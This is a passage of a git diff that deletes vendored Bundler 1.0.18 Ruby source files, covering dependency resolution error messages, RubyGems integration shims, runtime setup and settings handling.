-            if base = @base[current.name] and !base.empty?
-              version = base.first.version
-              message = "You have requested:\n" \
-                    "  #{current.name} #{current.requirement}\n\n" \
-                    "The bundle currently has #{current.name} locked at #{version}.\n" \
-                    "Try running `bundle update #{current.name}`"
-            elsif current.source
-              name = current.name
-              versions = @source_requirements[name][name].map { |s| s.version }
-              message  = "Could not find gem '#{current}' in #{current.source}.\n"
-              if versions.any?
-                message << "Source contains '#{name}' at: #{versions.join(', ')}"
-              else
-                message << "Source does not contain any versions of '#{current}'"
-              end
-            else
-              message = "Could not find gem '#{current}' "
-              if @index.sources.include?(Bundler::Source::Rubygems)
-                message << "in any of the gem sources listed in your Gemfile."
-              else
-                message << "in the gems available on this machine."
-              end
-            end
-            raise GemNotFound, message
-          else
-            @errors[current.name] = [nil, current]
-          end
-        end
-
-        matching_versions.reverse_each do |spec_group|
-          conflict = resolve_requirement(spec_group, current, reqs.dup, activated.dup)
-          conflicts << conflict if conflict
-        end
-        # If the current requirement is a root level gem and we have conflicts, we
-        # can figure out the best spot to backtrack to.
-        if current.required_by.empty? && !conflicts.empty?
-          # Check the current "catch" stack for the first one that is included in the
-          # conflicts set. That is where the parent of the conflicting gem was required.
-          # By jumping back to this spot, we can try other version of the parent of
-          # the conflicting gem, hopefully finding a combination that activates correctly.
-          @stack.reverse_each do |savepoint|
-            if conflicts.include?(savepoint)
-              debug { "    -> Jumping to: #{savepoint}" }
-              throw savepoint
-            end
-          end
-        end
-      end
-    end
-
-    def resolve_requirement(spec_group, requirement, reqs, activated)
-      # We are going to try activating the spec. We need to keep track of stack of
-      # requirements that got us to the point of activating this gem.
-      spec_group.required_by.replace requirement.required_by
-      spec_group.required_by << requirement
-
-      activated[spec_group.name] = spec_group
-      debug { "  Activating: #{spec_group.name} (#{spec_group.version})" }
-      debug { spec_group.required_by.map { |d| "    * #{d.name} (#{d.requirement})" }.join("\n") }
-
-      dependencies = spec_group.activate_platform(requirement.__platform)
-
-      # Now, we have to loop through all child dependencies and add them to our
-      # array of requirements.
-      debug { "    Dependencies"}
-      dependencies.each do |dep|
-        next if dep.type == :development
-        debug { "    * #{dep.name} (#{dep.requirement})" }
-        dep.required_by.replace(requirement.required_by)
-        dep.required_by << requirement
-        reqs << dep
-      end
-
-      # We create a savepoint and mark it by the name of the requirement that caused
-      # the gem to be activated. If the activated gem ever conflicts, we are able to
-      # jump back to this point and try another version of the gem.
-      length = @stack.length
-      @stack << requirement.name
-      retval = catch(requirement.name) do
-        resolve(reqs, activated)
-      end
-      # Since we're doing a lot of throw / catches. A push does not necessarily match
-      # up to a pop. So, we simply slice the stack back to what it was before the catch
-      # block.
-      @stack.slice!(length..-1)
-      retval
-    end
-
-    def gems_size(dep)
-      @gems_size[dep] ||= search(dep).size
-    end
-
-    def search(dep)
-      if base = @base[dep.name] and base.any?
-        reqs = [dep.requirement.as_list, base.first.version.to_s].flatten.compact
-        d = Gem::Dependency.new(base.first.name, *reqs)
-      else
-        d = dep.dep
-      end
-      index = @source_requirements[d.name] || @index
-      results = index.search_for_all_platforms(d, @base[d.name])
-
-      if results.any?
-        version = results.first.version
-        nested  = [[]]
-        results.each do |spec|
-          if spec.version != version
-            nested << []
-            version = spec.version
-          end
-          nested.last << spec
-        end
-        nested.map { |a| SpecGroup.new(a) }.select { |sg| sg.for?(dep.__platform) }
-      else
-        []
-      end
-    end
-
-    def clean_req(req)
-      if req.to_s.include?(">= 0")
-        req.to_s.gsub(/ \(.*?\)$/, '')
-      else
-        req.to_s.gsub(/\, (runtime|development)\)$/, ')')
-      end
-    end
-
-    def version_conflict
-      VersionConflict.new(errors.keys, error_message)
-    end
-
-    # For a given conflicted requirement, print out what exactly went wrong
-    def gem_message(requirement)
-      m = ""
-
-      # A requirement that is required by itself is actually in the Gemfile, and does
-      # not "depend on" itself
-      if requirement.required_by.first && requirement.required_by.first.name != requirement.name
-        m << "    #{clean_req(requirement.required_by.first)} depends on\n"
-        m << "      #{clean_req(requirement)}\n"
-      else
-        m << "    #{clean_req(requirement)}\n"
-      end
-      m << "\n"
-    end
-
-    def error_message
-      errors.inject("") do |o, (conflict, (origin, requirement))|
-
-        # origin is the SpecSet of specs from the Gemfile that is conflicted with
-        if origin
-
-          o << %{Bundler could not find compatible versions for gem "#{origin.name}":\n}
-          o << "  In Gemfile:\n"
-
-          o << gem_message(requirement)
-
-          # If the origin is "bundler", the conflict is us
-          if origin.name == "bundler"
-            o << "  Current Bundler version:\n"
-            newer_bundler_required = requirement.requirement > Gem::Requirement.new(origin.version)
-          # If the origin is a LockfileParser, it does not respond_to :required_by
-          elsif !origin.respond_to?(:required_by) || !(origin.required_by.first)
-            o << "  In snapshot (Gemfile.lock):\n"
-          end
-
-          o << gem_message(origin)
-
-          # If the bundle wants a newer bundler than the running bundler, explain
-          if origin.name == "bundler" && newer_bundler_required
-            o << "Your version of Bundler is older than the one requested by the Gemfile.\n"
-            o << "Perhaps you need to update Bundler by running `gem install bundler`."
-          end
-
-        # origin is nil if the required gem and version cannot be found in any of
-        # the specified sources
-        else
-
-          # if the gem cannot be found because of a version conflict between lockfile and gemfile,
-          # print a useful error that suggests running `bundle update`, which may fix things
-          #
-          # @base is a SpecSet of the gems in the lockfile
-          # conflict is the name of the gem that could not be found
-          if locked = @base[conflict].first
-            o << "Bundler could not find compatible versions for gem #{conflict.inspect}:\n"
-            o << "  In snapshot (Gemfile.lock):\n"
-            o << "    #{clean_req(locked)}\n\n"
-
-            o << "  In Gemfile:\n"
-            o << gem_message(requirement)
-            o << "Running `bundle update` will rebuild your snapshot from scratch, using only\n"
-            o << "the gems in your Gemfile, which may resolve the conflict.\n"
-
-          # the rest of the time, the gem cannot be found because it does not exist in the known sources
-          else
-            if requirement.required_by.first
-              o << "Could not find gem '#{clean_req(requirement)}', which is required by "
-              o << "gem '#{clean_req(requirement.required_by.first)}', in any of the sources."
-            else
-              o << "Could not find gem '#{clean_req(requirement)} in any of the sources\n"
-            end
-          end
-
-        end
-        o
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_ext.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_ext.rb
deleted file mode 100644
index 54e72c53..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_ext.rb
+++ /dev/null
@@ -1,235 +0,0 @@
-require 'pathname'
-
-if defined?(Gem::QuickLoader)
-  # Gem Prelude makes me a sad panda :'(
-  Gem::QuickLoader.load_full_rubygems_library
-end
-
-require 'rubygems'
-require 'rubygems/specification'
-
-module Gem
-  @loaded_stacks = Hash.new { |h,k| h[k] = [] }
-
-  class Specification
-    attr_accessor :source, :location, :relative_loaded_from
-
-    alias_method :rg_full_gem_path, :full_gem_path
-    alias_method :rg_loaded_from,   :loaded_from
-
-    def full_gem_path
-      source.respond_to?(:path) ?
-        Pathname.new(loaded_from).dirname.expand_path(Bundler.root).to_s :
-        rg_full_gem_path
-    end
-
-    def loaded_from
-      relative_loaded_from ?
-        source.path.join(relative_loaded_from).to_s :
-        rg_loaded_from
-    end
-
-    def load_paths
-      require_paths.map do |require_path|
-        if require_path.include?(full_gem_path)
-          require_path
-        else
-          File.join(full_gem_path, require_path)
-        end
-      end
-    end
-
-    # RubyGems 1.8+ used only.
-    def gem_dir
-      full_gem_path
-    end
-
-    def groups
-      @groups ||= []
-    end
-
-    def git_version
-      if @loaded_from && File.exist?(File.join(full_gem_path, ".git"))
-        sha = Dir.chdir(full_gem_path){ `git rev-parse HEAD`.strip }
-        " #{sha[0..6]}"
-      end
-    end
-
-    def to_gemfile(path = nil)
-      gemfile = "source :gemcutter\n"
-      gemfile << dependencies_to_gemfile(nondevelopment_dependencies)
-      unless development_dependencies.empty?
-        gemfile << "\n"
-        gemfile << dependencies_to_gemfile(development_dependencies, :development)
-      end
-      gemfile
-    end
-
-    def nondevelopment_dependencies
-      dependencies - development_dependencies
-    end
-
-    def add_bundler_dependencies(*groups)
-      Bundler.ui.warn "#add_bundler_dependencies is deprecated and will " \
-        "be removed in Bundler 1.0. Instead, please use the #gemspec method " \
-        "in your Gemfile, which will pull in any dependencies specified in " \
-        "your gemspec"
-
-      groups = [:default] if groups.empty?
-      Bundler.definition.dependencies.each do |dep|
-        if dep.groups.include?(:development)
-          self.add_development_dependency(dep.name, dep.requirement.to_s)
-        elsif (dep.groups & groups).any?
-          self.add_dependency(dep.name, dep.requirement.to_s)
-        end
-      end
-    end
-
-  private
-
-    def dependencies_to_gemfile(dependencies, group = nil)
-      gemfile = ''
-      if dependencies.any?
-        gemfile << "group :#{group} do\n" if group
-        dependencies.each do |dependency|
-          gemfile << '  ' if group
-          gemfile << %|gem "#{dependency.name}"|
-          req = dependency.requirements_list.first
-          gemfile << %|, "#{req}"| if req
-          gemfile << "\n"
-        end
-        gemfile << "end\n" if group
-      end
-      gemfile
-    end
-
-  end
-
-  class Dependency
-    attr_accessor :source, :groups
-
-    alias eql? ==
-
-    def encode_with(coder)
-      to_yaml_properties.each do |ivar|
-        coder[ivar.to_s.sub(/^@/, '')] = instance_variable_get(ivar)
-      end
-    end
-
-    def to_yaml_properties
-      instance_variables.reject { |p| ["@source", "@groups"].include?(p.to_s) }
-    end
-
-    def to_lock
-      out = "  #{name}"
-      unless requirement == Gem::Requirement.default
-        reqs = requirement.requirements.map{|o,v| "#{o} #{v}" }
-        out << " (#{reqs.join(', ')})"
-      end
-      out
-    end
-
-    # Backport of performance enhancement added to Rubygems 1.4
-    def matches_spec?(spec)
-      # name can be a Regexp, so use ===
-      return false unless name === spec.name
-      return true  if requirement.none?
-
-      requirement.satisfied_by?(spec.version)
-    end unless allocate.respond_to?(:matches_spec?)
-  end
-
-  class Requirement
-    # Backport of performance enhancement added to Rubygems 1.4
-    def none?
-      @none ||= (to_s == ">= 0")
-    end unless allocate.respond_to?(:none?)
-  end
-
-  class Platform
-    JAVA  = Gem::Platform.new('java')
-    MSWIN = Gem::Platform.new('mswin32')
-    MINGW = Gem::Platform.new('x86-mingw32')
-
-    def hash
-      @cpu.hash ^ @os.hash ^ @version.hash
-    end
-
-    alias eql? ==
-  end
-
-end
-
-module Bundler
-  class DepProxy
-
-    attr_reader :required_by, :__platform, :dep
-
-    def initialize(dep, platform)
-      @dep, @__platform, @required_by = dep, platform, []
-    end
-
-    def hash
-      @hash ||= dep.hash
-    end
-
-    def ==(o)
-      dep == o.dep && __platform == o.__platform
-    end
-
-    alias eql? ==
-
-    def type
-      @dep.type
-    end
-
-    def to_s
-      @dep.to_s
-    end
-
-  private
-
-    def method_missing(*args)
-      @dep.send(*args)
-    end
-
-  end
-
-  module GemHelpers
-
-    GENERIC_CACHE = {}
-    GENERICS = [
-      Gem::Platform::JAVA,
-      Gem::Platform::MSWIN,
-      Gem::Platform::MINGW,
-      Gem::Platform::RUBY
-    ]
-
-    def generic(p)
-      return p if p == Gem::Platform::RUBY
-
-      GENERIC_CACHE[p] ||= begin
-        found = GENERICS.find do |p2|
-          p2.is_a?(Gem::Platform) && p.os == p2.os
-        end
-        found || Gem::Platform::RUBY
-      end
-    end
-  end
-
-  module MatchPlatform
-    include GemHelpers
-
-    def match_platform(p)
-      Gem::Platform::RUBY == platform or
-      platform.nil? or p == platform or
-      generic(Gem::Platform.new(platform)) == p
-    end
-  end
-end
-
-module Gem
-  class Specification
-    include Bundler::MatchPlatform
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_integration.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_integration.rb
deleted file mode 100644
index 1c0c5505..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/rubygems_integration.rb
+++ /dev/null
@@ -1,343 +0,0 @@
-module Bundler
-  class RubygemsIntegration
-    def initialize
-      # Work around a RubyGems bug
-      configuration
-    end
-
-    def loaded_specs(name)
-      Gem.loaded_specs[name]
-    end
-
-    def mark_loaded(spec)
-      Gem.loaded_specs[spec.name] = spec
-    end
-
-    def path(obj)
-      obj.to_s
-    end
-
-    def platforms
-      Gem.platforms
-    end
-
-    def configuration
-      Gem.configuration
-    end
-
-    def ruby_engine
-      Gem.ruby_engine
-    end
-
-    def read_binary(path)
-      Gem.read_binary(path)
-    end
-
-    def inflate(obj)
-      Gem.inflate(obj)
-    end
-
-    def sources=(val)
-      Gem.sources = val
-    end
-
-    def sources
-      Gem.sources
-    end
-
-    def gem_dir
-      Gem.dir
-    end
-
-    def gem_bindir
-      Gem.bindir
-    end
-
-    def user_home
-      Gem.user_home
-    end
-
-    def gem_path
-      Gem.path
-    end
-
-    def marshal_spec_dir
-      Gem::MARSHAL_SPEC_DIR
-    end
-
-    def clear_paths
-      Gem.clear_paths
-    end
-
-    def bin_path(gem, bin, ver)
-      Gem.bin_path(gem, bin, ver)
-    end
-
-    def preserve_paths
-      # this is a no-op outside of Rubygems 1.8
-      yield
-    end
-
-    def ui=(obj)
-      Gem::DefaultUserInteraction.ui = obj
-    end
-
-    def fetch_specs(all, pre, &blk)
-      Gem::SpecFetcher.new.list(all, pre).each(&blk)
-    end
-
-    def with_build_args(args)
-      old_args = Gem::Command.build_args
-      begin
-        Gem::Command.build_args = args
-        yield
-      ensure
-        Gem::Command.build_args = old_args
-      end
-    end
-
-    def spec_from_gem(path)
-      Gem::Format.from_file_by_path(path).spec
-    end
-
-    def download_gem(spec, uri, path)
-      Gem::RemoteFetcher.fetcher.download(spec, uri, path)
-    end
-
-    def reverse_rubygems_kernel_mixin
-      # Disable rubygems' gem activation system
-      ::Kernel.class_eval do
-        if private_method_defined?(:gem_original_require)
-          alias rubygems_require require
-          alias require gem_original_require
-        end
-
-        undef gem
-      end
-    end
-
-    def replace_gem(specs)
-      executables = specs.map { |s| s.executables }.flatten
-
-      ::Kernel.send(:define_method, :gem) do |dep, *reqs|
-        if executables.include? File.basename(caller.first.split(':').first)
-          return
-        end
-        reqs.pop if reqs.last.is_a?(Hash)
-
-        unless dep.respond_to?(:name) && dep.respond_to?(:requirement)
-          dep = Gem::Dependency.new(dep, reqs)
-        end
-
-        spec = specs.find  { |s| s.name == dep.name }
-
-        if spec.nil?
-
-          e = Gem::LoadError.new "#{dep.name} is not part of the bundle. Add it to Gemfile."
-          e.name = dep.name
-          if e.respond_to?(:requirement=)
-            e.requirement = dep.requirement
-          else
-            e.version_requirement = dep.requirement
-          end
-          raise e
-        elsif dep !~ spec
-          e = Gem::LoadError.new "can't activate #{dep}, already activated #{spec.full_name}. " \
-                                 "Make sure all dependencies are added to Gemfile."
-          e.name = dep.name
-          if e.respond_to?(:requirement=)
-            e.requirement = dep.requirement
-          else
-            e.version_requirement = dep.requirement
-          end
-          raise e
-        end
-
-        true
-      end
-    end
-
-    if defined? ::Deprecate
-      Deprecate = ::Deprecate
-    elsif defined? Gem::Deprecate
-      Deprecate = Gem::Deprecate
-    else
-      class Deprecate
-        def skip_during; yield; end
-      end
-    end
-
-    def stub_source_index137(specs)
-      # Rubygems versions lower than 1.7 use SourceIndex#from_gems_in
-      source_index_class = (class << Gem::SourceIndex ; self ; end)
-      source_index_class.send(:remove_method, :from_gems_in)
-      source_index_class.send(:define_method, :from_gems_in) do |*args|
-        source_index = Gem::SourceIndex.new
-        source_index.spec_dirs = *args
-        source_index.add_specs(*specs)
-        source_index
-      end
-    end
-
-    def stub_source_index170(specs)
-      Gem::SourceIndex.send(:define_method, :initialize) do |*args|
-        @gems = {}
-        # You're looking at this thinking: Oh! This is how I make those
-        # rubygems deprecations go away!
-        #
-        # You'd be correct BUT using of this method in production code
-        # must be approved by the rubygems team itself!
-        #
-        # This is your warning. If you use this and don't have approval
-        # we can't protect you.
-        #
-        Deprecate.skip_during do
-          self.spec_dirs = *args
-          add_specs(*specs)
-        end
-      end
-    end
-
-    # Used to make bin stubs that are not created by bundler work
-    # under bundler. The new Gem.bin_path only considers gems in
-    # +specs+
-    def replace_bin_path(specs)
-      gem_class = (class << Gem ; self ; end)
-      gem_class.send(:remove_method, :bin_path)
-      gem_class.send(:define_method, :bin_path) do |name, *args|
-        exec_name, *reqs = args
-
-        if exec_name == 'bundle'
-          return ENV['BUNDLE_BIN_PATH']
-        end
-
-        spec = nil
-
-        if exec_name
-          spec = specs.find { |s| s.executables.include?(exec_name) }
-          spec or raise Gem::Exception, "can't find executable #{exec_name}"
-        else
-          spec = specs.find  { |s| s.name == name }
-          exec_name = spec.default_executable or raise Gem::Exception, "no default executable for #{spec.full_name}"
-        end
-
-        gem_bin = File.join(spec.full_gem_path, spec.bindir, exec_name)
-        gem_from_path_bin = File.join(File.dirname(spec.loaded_from), spec.bindir, exec_name)
-        File.exist?(gem_bin) ? gem_bin : gem_from_path_bin
-      end
-    end
-
-    # Because Bundler has a static view of what specs are available,
-    # we don't #reflesh, so stub it out.
-    def replace_refresh
-      gem_class = (class << Gem ; self ; end)
-      gem_class.send(:remove_method, :refresh)
-      gem_class.send(:define_method, :refresh) { }
-    end
-
-    # Replace or hook into Rubygems to provide a bundlerized view
-    # of the world.
-    def replace_entrypoints(specs)
-      reverse_rubygems_kernel_mixin
-
-      replace_gem(specs)
-
-      stub_rubygems(specs)
-
-      replace_bin_path(specs)
-      replace_refresh
-
-      Gem.clear_paths
-    end
-
-    # This backports the correct segment generation code from Rubygems 1.4+
-    # by monkeypatching it into the method in Rubygems 1.3.6 and 1.3.7.
-    def backport_segment_generation
-      Gem::Version.send(:define_method, :segments) do
-        @segments ||= @version.scan(/[0-9]+|[a-z]+/i).map do |s|
-          /^\d+$/ =~ s ? s.to_i : s
-        end
-      end
-    end
-
-    # Rubygems 1.4 through 1.6
-    class Legacy < RubygemsIntegration
-      def stub_rubygems(specs)
-        stub_source_index137(specs)
-      end
-
-      def all_specs
-        Gem.source_index.gems.values
-      end
-
-      def find_name(name)
-        Gem.source_index.find_name(name)
-      end
-    end
-
-    # Rubygems versions 1.3.6 and 1.3.7
-    class Ancient < Legacy
-      def initialize
-        super
-        backport_segment_generation
-      end
-    end
-
-    # Rubygems 1.7
-    class Transitional < Legacy
-      def stub_rubygems(specs)
-        stub_source_index170(specs)
-      end
-    end
-
-    # Rubygems 1.8.5
-    class Modern < RubygemsIntegration
-      def stub_rubygems(specs)
-        Gem::Specification.all = specs
-
-        Gem.post_reset {
-          Gem::Specification.all = specs
-        }
-
-        stub_source_index170(specs)
-      end
-
-      def all_specs
-        Gem::Specification.to_a
-      end
-
-      def find_name(name)
-        Gem::Specification.find_all_by_name name
-      end
-    end
-
-    # Rubygems 1.8.0 to 1.8.4
-    class AlmostModern < Modern
-      # Rubygems [>= 1.8.0, < 1.8.5] has a bug that changes Gem.dir whenever
-      # you call Gem::Installer#install with an :install_dir set. We have to
-      # change it back for our sudo mode to work.
-      def preserve_paths
-        old_dir, old_path = gem_dir, gem_path
-        yield
-        Gem.use_paths(old_dir, old_path)
-      end
-    end
-
-  end
-
-  if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.8.5')
-    @rubygems = RubygemsIntegration::Modern.new
-  elsif Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.8.0')
-    @rubygems = RubygemsIntegration::AlmostModern.new
-  elsif Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.7.0')
-    @rubygems = RubygemsIntegration::Transitional.new
-  elsif Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.4.0')
-    @rubygems = RubygemsIntegration::Legacy.new
-  else # Rubygems 1.3.6 and 1.3.7
-    @rubygems = RubygemsIntegration::Ancient.new
-  end
-
-  class << self
-    attr_reader :rubygems
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/runtime.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/runtime.rb
deleted file mode 100644
index 70c9b0ff..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/runtime.rb
+++ /dev/null
@@ -1,152 +0,0 @@
-require "digest/sha1"
-
-module Bundler
-  class Runtime < Environment
-    include SharedHelpers
-
-    def setup(*groups)
-      # Has to happen first
-      clean_load_path
-
-      specs = groups.any? ? @definition.specs_for(groups) : requested_specs
-
-      setup_environment
-      Bundler.rubygems.replace_entrypoints(specs)
-
-      # Activate the specs
-      specs.each do |spec|
-        unless spec.loaded_from
-          raise GemNotFound, "#{spec.full_name} is missing. Run `bundle` to get it."
-        end
-
-        if activated_spec = Bundler.rubygems.loaded_specs(spec.name) and activated_spec.version != spec.version
-          e = Gem::LoadError.new "You have already activated #{activated_spec.name} #{activated_spec.version}, " \
-                                 "but your Gemfile requires #{spec.name} #{spec.version}. Consider using bundle exec."
-          e.name = spec.name
-          if e.respond_to?(:requirement=)
-            e.requirement = Gem::Requirement.new(spec.version.to_s)
-          else
-            e.version_requirement = Gem::Requirement.new(spec.version.to_s)
-          end
-          raise e
-        end
-
-        Bundler.rubygems.mark_loaded(spec)
-        load_paths = spec.load_paths.reject {|path| $LOAD_PATH.include?(path)}
-        $LOAD_PATH.unshift(*load_paths)
-      end
-
-      lock
-
-      self
-    end
-
-    REGEXPS = [
-      /^no such file to load -- (.+)$/i,
-      /^Missing \w+ (?:file\s*)?([^\s]+.rb)$/i,
-      /^Missing API definition file in (.+)$/i,
-      /^cannot load such file -- (.+)$/i,
-    ]
-
-    def require(*groups)
-      groups.map! { |g| g.to_sym }
-      groups = [:default] if groups.empty?
-
-      @definition.dependencies.each do |dep|
-        # Skip the dependency if it is not in any of the requested
-        # groups
-        next unless ((dep.groups & groups).any? && dep.current_platform?)
-
-        required_file = nil
-
-        begin
-          # Loop through all the specified autorequires for the
-          # dependency. If there are none, use the dependency's name
-          # as the autorequire.
-          Array(dep.autorequire || dep.name).each do |file|
-            required_file = file
-            Kernel.require file
-          end
-        rescue LoadError => e
-          REGEXPS.find { |r| r =~ e.message }
-          raise if dep.autorequire || $1 != required_file
-        end
-      end
-    end
-
-    def dependencies_for(*groups)
-      if groups.empty?
-        dependencies
-      else
-        dependencies.select { |d| (groups & d.groups).any? }
-      end
-    end
-
-    alias gems specs
-
-    def cache
-      FileUtils.mkdir_p(cache_path) unless File.exists?(cache_path)
-
-      Bundler.ui.info "Updating .gem files in vendor/cache"
-      specs.each do |spec|
-        next if spec.name == 'bundler'
-        spec.source.cache(spec) if spec.source.respond_to?(:cache)
-      end
-      prune_cache unless Bundler.settings[:no_prune]
-    end
-
-    def prune_cache
-      FileUtils.mkdir_p(cache_path) unless File.exists?(cache_path)
-
-      resolve = @definition.resolve
-      cached  = Dir["#{cache_path}/*.gem"]
-
-      cached = cached.delete_if do |path|
-        spec = Bundler.rubygems.spec_from_gem path
-
-        resolve.any? do |s|
-          s.name == spec.name && s.version == spec.version && !s.source.is_a?(Bundler::Source::Git)
-        end
-      end
-
-      if cached.any?
-        Bundler.ui.info "Removing outdated .gem files from vendor/cache"
-
-        cached.each do |path|
-          Bundler.ui.info "  * #{File.basename(path)}"
-          File.delete(path)
-        end
-      end
-    end
-
-  private
-
-    def cache_path
-      root.join("vendor/cache")
-    end
-
-    def setup_environment
-      begin
-        ENV["BUNDLE_BIN_PATH"] = Bundler.rubygems.bin_path("bundler", "bundle", VERSION)
-      rescue Gem::GemNotFoundException
-        ENV["BUNDLE_BIN_PATH"] = File.expand_path("../../../bin/bundle", __FILE__)
-      end
-
-      # Set PATH
-      paths = (ENV["PATH"] || "").split(File::PATH_SEPARATOR)
-      paths.unshift "#{Bundler.bundle_path}/bin"
-      ENV["PATH"] = paths.uniq.join(File::PATH_SEPARATOR)
-
-      # Set BUNDLE_GEMFILE
-      ENV["BUNDLE_GEMFILE"] = default_gemfile.to_s
-
-      # Set RUBYOPT
-      rubyopt = [ENV["RUBYOPT"]].compact
-      if rubyopt.empty? || rubyopt.first !~ /-rbundler\/setup/
-        rubyopt.unshift "-rbundler/setup"
-        rubyopt.unshift "-I#{File.expand_path('../..', __FILE__)}"
-        ENV["RUBYOPT"] = rubyopt.join(' ')
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/settings.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/settings.rb
deleted file mode 100644
index c3209c3a..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/settings.rb
+++ /dev/null
@@ -1,117 +0,0 @@
-module Bundler
-  class Settings
-    def initialize(root)
-      @root   = root
-      @local_config = File.exist?(local_config_file) ? YAML.load_file(local_config_file) : {}
-      @global_config = File.exist?(global_config_file) ? YAML.load_file(global_config_file) : {}
-    end
-
-    def [](key)
-      key = key_for(key)
-      @local_config[key] || ENV[key] || @global_config[key]
-    end
-
-    def []=(key, value)
-      set_key(key, value, @local_config, local_config_file)
-    end
-
-    def delete(key)
-      @local_config.delete(key_for(key))
-    end
-
-    def set_global(key, value)
-      set_key(key, value, @global_config, global_config_file)
-    end
-
-    def all
-      env_keys = ENV.keys.select { |k| k =~ /BUNDLE_.*/ }
-      keys = @global_config.keys | @local_config.keys | env_keys
-
-      keys.map do |key|
-        key.sub(/^BUNDLE_/, '').gsub(/__/, ".").downcase
-      end
-    end
-
-    def locations(key)
-      locations = {}
-
-      locations[:local]  = @local_config[key] if @local_config.key?(key)
-      locations[:env]    = ENV[key] if ENV[key]
-      locations[:global] = @global_config[key] if @global_config.key?(key)
-      locations
-    end
-
-    def pretty_values_for(exposed_key)
-      key = key_for(exposed_key)
-
-      locations = []
-      if @local_config.key?(key)
-        locations << "Set for your local app (#{local_config_file}): #{@local_config[key].inspect}"
-      end
-
-      if value = ENV[key]
-        locations << "Set via #{key}: #{value.inspect}"
-      end
-
-      if @global_config.key?(key)
-        locations << "Set for the current user (#{global_config_file}): #{@global_config[key].inspect}"
-      end
-
-      return ["You have not configured a value for `#{exposed_key}`"] if locations.empty?
-      locations
-    end
-
-    def without=(array)
-      unless array.empty?
-        self[:without] = array.join(":")
-      end
-    end
-
-    def without
-      self[:without] ? self[:without].split(":").map { |w| w.to_sym } : []
-    end
-
-    # @local_config["BUNDLE_PATH"] should be prioritized over ENV["BUNDLE_PATH"]
-    def path
-      path = ENV[key_for(:path)] || @global_config[key_for(:path)]
-      return path if path && !@local_config.key?(key_for(:path))
-
-      if path = self[:path]
-        "#{path}/#{Bundler.ruby_scope}"
-      else
-        Bundler.rubygems.gem_dir
-      end
-    end
-
-    def allow_sudo?
-      !@local_config.key?(key_for(:path))
-    end
-
-  private
-    def key_for(key)
-      key = key.to_s.sub(".", "__").upcase
-      "BUNDLE_#{key}"
-    end
-
-    def set_key(key, value, hash, file)
-      key = key_for(key)
-
-      unless hash[key] == value
-        hash[key] = value
-        hash.delete(key) if value.nil?
-        FileUtils.mkdir_p(file.dirname)
-        File.open(file, "w") { |f| f.puts hash.to_yaml }
-      end
-      value
-    end
-
-    def global_config_file
-      file = ENV["BUNDLE_CONFIG"] || File.join(Bundler.rubygems.user_home, ".bundle/config")
-      Pathname.new(file)
-    end
-
-    def local_config_file
-      Pathname.new("#{@root}/config")
-    end
-  end
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/setup.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/setup.rb
deleted file mode 100644
index d5770977..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/setup.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'bundler/shared_helpers'
-
-if Bundler::SharedHelpers.in_bundle?
-  require 'bundler'
-  if STDOUT.tty?
-    begin
-      Bundler.setup
-    rescue Bundler::BundlerError => e
-      puts "\e[31m#{e.message}\e[0m"
-      puts e.backtrace.join("\n") if ENV["DEBUG"]
-      if Bundler::GemNotFound === e
-        puts "\e[33mRun `bundle install` to install missing gems.\e[0m"
-      end
-      exit e.status_code
-    end
-  else
-    Bundler.setup
-  end
-
-  # Add bundler to the load path after disabling system gems
-  bundler_lib = File.expand_path("../..", __FILE__)
-  $LOAD_PATH.unshift(bundler_lib) unless $LOAD_PATH.include?(bundler_lib)
-end
diff --git a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/shared_helpers.rb b/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/shared_helpers.rb
deleted file mode 100644
index e6f4899f..00000000
--- a/vendor/plugins/bundler/gems/bundler-1.0.18/lib/bundler/shared_helpers.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-require 'pathname'
-require 'rubygems'
-
-require 'bundler/rubygems_integration'
-
-module Gem
-  class Dependency
-    if !instance_methods.map { |m| m.to_s }.include?("requirement")
-      def requirement
-        version_requirements
-      end
-    end
-  end
-end
-
-module Bundler
-  module SharedHelpers
-    attr_accessor :gem_loaded
-
-    def default_gemfile
-      gemfile = find_gemfile
-      raise GemfileNotFound, "Could not locate Gemfile" unless gemfile
-      Pathname.new(gemfile)
-    end
-
-    def default_lockfile
-      Pathname.new("#{default_gemfile}.lock")
-    end
-
-    def in_bundle?
-      find_gemfile
-    end
-
-  private
-
-    def find_gemfile
-      given = ENV['BUNDLE_GEMFILE']
-      return given if given && !given.empty?
-
-      previous = nil
-      current  = File.expand_path(Dir.pwd)
-
-      until !File.directory?(current) || current == previous
-        if ENV['BUNDLE_SPEC_RUN']
-          # avoid stepping above the tmp directory when testing
-          return nil if File.file?(File.join(current, 'bundler.gemspec'))
-        end
-
-        # otherwise return the Gemfile if it's there
-        filename = File.join(current, 'Gemfile')
-        return filename if File.file?(filename)
-        current, previous = File.expand_path("..", current), current
-      end
-    end
-
-    def clean_load_path
-      # handle 1.9 where system gems are always on the load path
-      if defined?(::Gem)
-        me = File.expand_path("../../", __FILE__)
-        $LOAD_PATH.reject! do |p|
-          next if File.expand_path(p) =~ /^#{Regexp.escape(me)}/
